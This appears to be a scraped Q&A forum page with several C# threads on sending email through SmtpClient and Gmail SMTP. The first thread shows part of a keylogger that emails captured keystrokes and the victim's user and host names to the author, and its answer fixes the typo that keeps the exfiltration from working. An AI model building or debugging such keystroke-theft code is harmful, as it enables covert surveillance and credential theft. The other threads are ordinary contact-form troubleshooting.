System smtp Exception - c#

I am working on key logger that sends the keys to my email and I ran into a problem. I'm using visual studio C#, when I run the program, I get an exception "System.Net.Mail.SmtpException: 'Failure sending mail.'"
Is there a solution to this problem?
Here is my code:
... emailBody += "\nUser: " + Environment.UserDomainName + " \\ " + Environment.UserName;
emailBody += "\nhost " + host;
emailBody += "\ntime: " + now.ToString();
emailBody += logContents;
SmtpClient client = new SmtpClient("smpt.gmail.com", 587);
MailMessage mailMessage = new MailMessage();
mailMessage.From = new MailAddress("email address");
mailMessage.To.Add("email address");
mailMessage.Subject = subject;
client.UseDefaultCredentials = false;
client.EnableSsl = true;
client.Credentials = new System.Net.NetworkCredential("my email address", "my password");
mailMessage.Body = emailBody;
client.Send(mailMessage);

The host used for SMTP transactions is wrong. You need to modify it to smtp.gmail.com, rather than smpt.

Related

Mail body with multiple line body

I'd like to send an email using C#
SmtpClient client = new SmtpClient(_smtp, int.Parse(_port));
client.DeliveryMethod = SmtpDeliveryMethod.Network;
client.EnableSsl = bool.Parse(_enableSsl);
client.UseDefaultCredentials = false;
client.Credentials = new NetworkCredential(APIKey, SecretKey);
MailMessage mail = new MailMessage();
mail.From = _from;
mail.To.Add(_to);
mail.Subject = _subject;
mail.Body = _body;
if(Uri.IsWellFormedUriString(url, UriKind.Absolute)) mail.Body += "<br/>" + url + "<br/>" + "Cordialement";
mail.IsBodyHtml = false;
client.Send(mail);
The mail is sent, but its body is received as a single line .
So How can I fix this issue?
Since you have the following line in your code:
mail.Body += "<br/>" + url + "<br/>" + "Cordialement";
I'm going to guess that the rest of your mail.Body also contains HTML.
If you are placing HTML in the body of the MailMessage, you need to set IsBodyHtml to true - you have it set to false.
mail.IsBodyHtml = true;

Send Some Form Of Notification When An Asp.net Windows Form Is Submitted

I have anasp.net web form which on click of a button shows a modal with 3 fields and a submit button.
All i want is for some sort of notification to be sent to me with the details of the form.
The thing is, is that my application sits on our 'DEV' environment and i was thinking of an email being sent to my email address in our 'Live' environment so it will need to be done via Microsoft Outlook but i cant figure out how to do this at all.
I have done this in the past using 'Hotmail' but i cant figure out or get the email to be sent to me at all.
I have tried the following
using Microsoft.Office.Interop.Outlook;
protected void BtnSuggestPlace_Click(object sender, EventArgs e)
{
MailMessage message = new MailMessage();
message.From = new MailAddress("antonydev#dev1.test.com");
message.To.Add(new MailAddress("antony#test.co.uk"));
message.Subject = "This is my subject";
message.Body = "This is the content";
SmtpClient client = new SmtpClient();
client.Send(message);
}
and i have also tried the code i use for the hotmail
using System.Net.Mail;
using System.Net;
using System.IO;
protected void BtnSuggestPlace_Click(object sender, EventArgs e)
{
//Creates the email object to be sent
MailMessage msg = new MailMessage();
//Adds your email address to the recipients
msg.To.Add("antony#test.co.uk");
//Configures the address you are sending the email from
MailAddress address = new MailAddress("antonydev#dev1.test.com");
msg.From = address;
//Allows HTML to be used when setting up the email body
msg.IsBodyHtml = true;
//Email subjects title
msg.Subject = "Place Suggestion";
msg.Body = "<b>" + lblPlace.Text + "</b>" + " " + fldPlace.ToString()
+ Environment.NewLine.ToString() +
"<b>" + lblLocation.Text + "</b>" + " " + fldLocation.ToString()
+ Environment.NewLine.ToString() +
"<b>" + lblName.Text + "</b>" + " " + fldName.ToString();
//Configures the SmtpClient to send the mail
**NOT TO SURE IF REQUIRED OR NOT**
SmtpClient client = new SmtpClient("smtp.live.com", 587);
client.EnableSsl = true; //only enable this if the provider requires it
//Setup credentials to login to the sender email address ("UserName", "Password")
**NO IDEA WHAT TO PUT HERE AS PASSWORDS EXPIRE EVERY 28DAYS**
NetworkCredential credentials = new NetworkCredential("antonydev#dev1.testcom", "CurrentPassword");
client.Credentials = credentials;
//Send the email
client.Send(msg);
// Create a Outlook Application and connect to outlook
Application OutlookApplication = new Application();
// create the MailItem which we want to send
MailItem email = (MailItem)OutlookApplication.CreateItem(OlItemType.olMailItem);
// Add a recipient for the email
email.Recipients.Add("antonydev#dev1.test.com");
// add subject and body of the email
email.Subject = "Test";
email.Body = "This is a test email to check outlook email sending code";
//send email
email.Send();
}
all i need is something passes what was entered to me but not sure how or what way to do it
Update
I have decided to setup a new gmail acc and use that but it always drops into my catch i suspect it's timing out can anyone help please.
The InnerException Message is:
A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond 173.194.67.109:587
protected void BtnSuggestPlace_Click(object sender, EventArgs e)
{
#region Email
try
{
//Creates the email object to be sent
MailMessage msg = new MailMessage();
//Adds your email address to the recipients
msg.To.Add("antony#test.co.uk");
//Configures the address you are sending the email from
MailAddress address = new MailAddress("NewGmailEmailAddress#gmail.com");
msg.From = address;
//Allows HTML to be used when setting up the email body
msg.IsBodyHtml = true;
//Email subjects title
msg.Subject = "Place Suggestion";
msg.Body = "<b>" + lblPlace.Text + "</b>" + " " + fldPlace.Text
+ Environment.NewLine.ToString() +
"<b>" + lblLocation.Text + "</b>" + " " + fldLocation.Text
+ Environment.NewLine.ToString() +
"<b>" + lblName.Text + "</b>" + " " + fldName.Text;
SmtpClient client = new SmtpClient("smtp.gmail.com");
NetworkCredential nc = new NetworkCredential("XXXusername", "MyPassword");//username doesn't include #gmail.com
client.UseDefaultCredentials = false;
client.Credentials = nc;
client.EnableSsl = true;
client.Port = 587;
//Send the email
client.Send(msg);
}
catch
{
//Lets the user know if the email has failed
lblNotSent.Text = "<div class=\"row\">" + "<div class=\"col-sm-12\">" + "There was a problem sending your suggestion. Please try again." + "</div>" + "</div>" + "<div class=\"form-group\">" + "<div class=\"col-sm-12\">" + "If the error persists, please contact Antony." + "</div>" + "</div>";
}
#endregion
}
Here is some code I use to send SMTP mail using a gmail account:
public static void Send(string subject, string message, params string[] recipients)
{
System.Net.Mail.SmtpClient client = new System.Net.Mail.SmtpClient("smtp.gmail.com");
System.Net.NetworkCredential nc = new System.Net.NetworkCredential([YourAccountName], [YourAccountPassword]);//username doesn't include #gmail.com
client.UseDefaultCredentials = false;
client.Credentials = nc;
client.EnableSsl = true;
client.Port = 587;
try
{
string recipientString = string.Join(",", recipients);
client.SendAsync([YourAccountName] + "#gmail.com", recipientString, subject, message, null);
}
catch (Exception ex)
{
Logger.Report(ex);
}
}
173.194.67.109 is a valid gmail IP: don't specify port in order to estabilish an smtp connection with SSL (587 is the TLS port).
I also recommend using web.config to store smtp settings:
<appSettings>
<add key="enableSSL" value="true"/>
</appSettings>
<system.net>
<mailSettings>
<smtp deliveryMethod="Network" from="yourgmail#gmail.com">
<network
host="smtp.gmail.com"
userName="yourgmail#gmail.com"
password="YourPassword" />
</smtp>
</mailSettings>
</system.net>
So your code could be something like this:
Dim email As New System.Net.Mail.MailMessage()
email.Body = "YourBody"
email.Subject = "YourSubject"
email.To.Add("yourrecipient#email.com")
Dim smtp As New System.Net.Mail.SmtpClient()
smtp.EnableSsl = System.Configuration.ConfigurationManager.AppSettings("enableSSL")
smtp.Send(email)
It turns out that the firewall is blocking it so the issue is not with the code itself.

Is email message sent from programmatically from C# will be found in gmail.com account?

I am using gmail to send email from C# program, my question is that email found under sent items if logged in into gmail.com via browser?
if I am sent an email from c# program and that email fails(bounce back) then Is failover notification found if I am logged in into gmail.com via browser?
if yes , then is there any additional settings to receive that? I want to show that in gmail.com via browser when I am login.
I don't really understand what you are asking but if you just need the code to send emails through gmail it is pretty simple
void SendMail_Click(object sender, EventArgs e)
{
var email = new Dto.IEmail();
if (EmailBody.Text == string.Empty && EmailSubject.Text == string.Empty)
{
XtraMessageBox.Show("please fill email body and subject");
return;
}
email.Body = EmailBody.Text;
email.Subject = EmailSubject.Text;
email.EmailAddress = "email#gmail.com";
email.ToAddress = "email#gmail.com";
try
{
MailMessage message = new MailMessage();
SmtpClient smtp = new SmtpClient();
message.From = new MailAddress(email.EmailAddress);
message.To.Add(new MailAddress(email.ToAddress));
message.Subject = email.Subject;
message.Body = email.Body + "\n From user " + GlobalClass.UserLogin.USERNAME + "\n with body: " + _reportedfile;
smtp.Port = 587;
smtp.Host = "smtp.gmail.com";
smtp.EnableSsl = true;
smtp.UseDefaultCredentials = false;
smtp.Credentials = new NetworkCredential(email.EmailAddress, "gmailpassword");
smtp.DeliveryMethod = SmtpDeliveryMethod.Network;
smtp.Send(message);
}
catch (Exception ex)
{
XtraMessageBox.Show("err: " + ex.Message);
}
}

Send email in ASP.NET C#

I'm creating a contact page for visitors of my web site to send me email (in C#). When trying, I got an error about EHLO argument(s). Here is my code:
I got the error:
The server response was: Syntactically invalid EHLO argument(s).
Please, help
try
{
MailMessage _email = new MailMessage();
String MessageString = "";
MessageString = "<br>";
MessageString += "<b>Message from " + champNom.Value + "</b><br /><br />";
MessageString += "<br/><br/>";
MessageString += champMail.Text;
_email.Subject = "Mail from " + champNom.Value + " (Email adress: " + champEmail.Text + ")";
_email.From = new System.Net.Mail.MailAddress(System.Configuration.ConfigurationManager.AppSettings["SenderForEmail"].ToString(), "MyName");
_email.To.Add(new System.Net.Mail.MailAddress(System.Configuration.ConfigurationManager.AppSettings["AdminForEmail"].ToString(), "MyName"));
if (chkCCMyself.Checked) {
_email.CC.Add(new System.Net.Mail.MailAddress(champEmail.Text, champNom.Value));
}
_email.Body = MessageString;
_email.IsBodyHtml = true;
System.Net.Mail.SmtpClient smtp = new System.Net.Mail.SmtpClient();
smtp.EnableSsl = false;
//smtp.UseDefaultCredentials = true;
//smtp.DeliveryMethod = SmtpDeliveryMethod.Network;
smtp.Host = System.Configuration.ConfigurationManager.AppSettings["HostForEmail"].ToString();
smtp.Port = 587;
smtp.Credentials = new System.Net.NetworkCredential(System.Configuration.ConfigurationManager.AppSettings["SenderForEmail"].ToString(), System.Configuration.ConfigurationManager.AppSettings["SenderPswdForEmail"].ToString());
smtp.Send(_email);
Page.RegisterStartupScript("UserMsg", "<script>alert('Mail envoyé avec succès...');if(alert){ window.location='contact.aspx';}</script>");
}catch(Exception err){
champMail.Text += Environment.NewLine + err.Message;
}
Thanks in advance
As documented here http://forums.asp.net/t/1622198.aspx?Syntactically+invalid+EHLO+argument+s+emailing
If you email having problem with rejected EHLO or HELO, caused by syntactically invalid argument(s).
1.Possible the hostname contains underscore(_).
2.This is not standard practice, having _ for your domain
3.for example takizo_mail.takizo.com
4.Most of the mail server rejected hostname with underscore.
5.Possibility is a Windows Admin
Make sure the server-name has only latin-characters in it, and no special symbols like underscore etc.
MailMessage msg = new MailMessage("from#a.com", "To#y.com");
msg.Subject = "Intraday";
msg.Sender = new MailAddress("sender#y.com");
msg.IsBodyHtml = false; //to preserve line breaks and to avoid the need for <br>s
msg.Body = "Body";
SmtpClient client = new SmtpClient("Server");
client.Send(msg);

Contact form doesn't work

I have a problem with a form, I can't send it. If I put wrong details (secure code, email, empty fields etc.), I get errors on screen, which is correct.
But when I enter all correct data, I can't send the form, I get this error:
There was an error submitting your form. Please check the following:
But the list is empty.
SmtpClient smtpClient = new SmtpClient();
MailMessage message = new MailMessage();
try
{
MailAddress fromAddress = new MailAddress("noreply#domain.com", "string1");
// decide who message goes to
string emailGoesTo = "person1#domain.com";
MailAddress toAddress = new MailAddress(emailGoesTo.ToString(), "string1");
message.From = fromAddress;
message.To.Add(toAddress);
message.To.Add("person2#domain.com");
message.Subject = "string2";
message.Body = "New Website Contact Request";
message.Body += "------------------------------------------\r\n";
message.Body += "Name: " + your_name.Text + "\r\n";
message.Body += "Email: " + your_email.Text + "\r\n";
message.Body += "Telephone: " + your_telephone.Text + "\r\n";
message.Body += "Company: " + your_company.Text + "\r\n";
message.Body += "Address: " + your_address.Text + "\r\n";
message.Body += "Postcode: " + your_zip.Text + "\r\n";
message.Body += "Enquiry: " + your_enquiry.Text + "\r\n";
// smtpClient.Host = "string3";
smtpClient.Host = "string4";
smtpClient.Credentials = new System.Net.NetworkCredential("string5", "string6");
smtpClient.Send(message);
Response.Redirect("thankyou.aspx");
}
catch (Exception ex)
{
statusLabel.Text = "Coudn't send the message!";
}
I'm noobie, so is there any1 string5 & string6 please?
Also what is wrong? How to make this form working?
never tried to use smtpclient.host but the below works. Just need to add in the ip/host name of the mail server and make sure it is set up to allow relay from the machine calling the code. and replace the strings with the text you want. I'd suggest starting with something simple rather than feeding from form fields to eliminate any outside issues. Once the mail is sending then start adding additional pieces in.
public static string mailServer = 'IP address or host name of mail server'
public static void Send()
{
string subject = "test subject";
string address = "test#somedomain.com";
string body = "some mail body";
MailMessage mm = new MailMessage();
mm.From = new MailAddress("no-reply#domain.net"); //on behalf of
mm.To.Add(new MailAddress(address));
mm.IsBodyHtml = true;
mm.Subject = subject;
mm.Body = body;
SmtpClient server = new SmtpClient(mailServer);
server.Send(mm);
}
}
string5 and string6 is email credentials on mail server (username and password). You should know it better us ;-)
You need to update your smtpClinet.Host with the name / domain information for your mail server. The Credentials need to be updated with the username and password of a user that can access your mail server. Sometimes this can be left out.

Categories